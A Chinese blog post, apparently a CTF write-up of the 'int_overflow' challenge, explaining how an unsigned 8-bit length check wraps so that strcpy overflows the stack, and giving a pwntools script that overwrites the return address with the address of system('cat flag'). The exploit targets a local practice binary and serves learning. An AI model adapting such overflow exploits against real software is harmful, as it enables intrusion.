美文网首页
09_int_overflow

09_int_overflow

作者: Zero_0_0 | 来源:发表于2019-04-17 17:39 被阅读0次
1.检查安全机制
图片.png :运行一下,我们知道这是一个创建用户名和密码的程序,对用户名的长度和密码都有限制。
我们ctrl+1 找到了system("cat flag") 不知道怎么使用
2.找到溢出点

注:
strcpy:危险函数
unsigned __int8最大只能到达255 可是我们read(。。。)远超过255。
数据类型范围https://docs.microsoft.com/zh-cn/previous-versions/s3f49ktz(v=vs.120)
利用思路:有点不理解整数溢出

1.发现v38位无符号整数,则最大只能是255
但是read函数能读取的长度是0x199,远大于255,那就可以进行整型溢出,让passwd的长度是 260264就可以了。
2.我们将程序的返回地址覆盖为system("cat flag")
注:帮助理解

EXP
from pwn import*

p = process('./int_overflow')

system_flag_addr = 0x804868B

p.recvuntil('choice:')
p.sendline("1")
p.recvuntil('username:\n')
p.sendline("tutu")
p.recvuntil('passwd:\n')

payload = 'A'*0x18 + p32(system_flag_addr)
payload = payload.ljust(262,'A')    //这有点不理解



p.sendline(payload)
p.interactive()

图片.png

相关文章

  • 09_int_overflow

    1.检查安全机制 2.找到溢出点 利用思路:有点不理解整数溢出 1.发现v3是8位无符号整数,则最大只能是255。...

网友评论

      本文标题:09_int_overflow

      本文链接:https://www.haomeiwen.com/subject/wjvnwqtx.html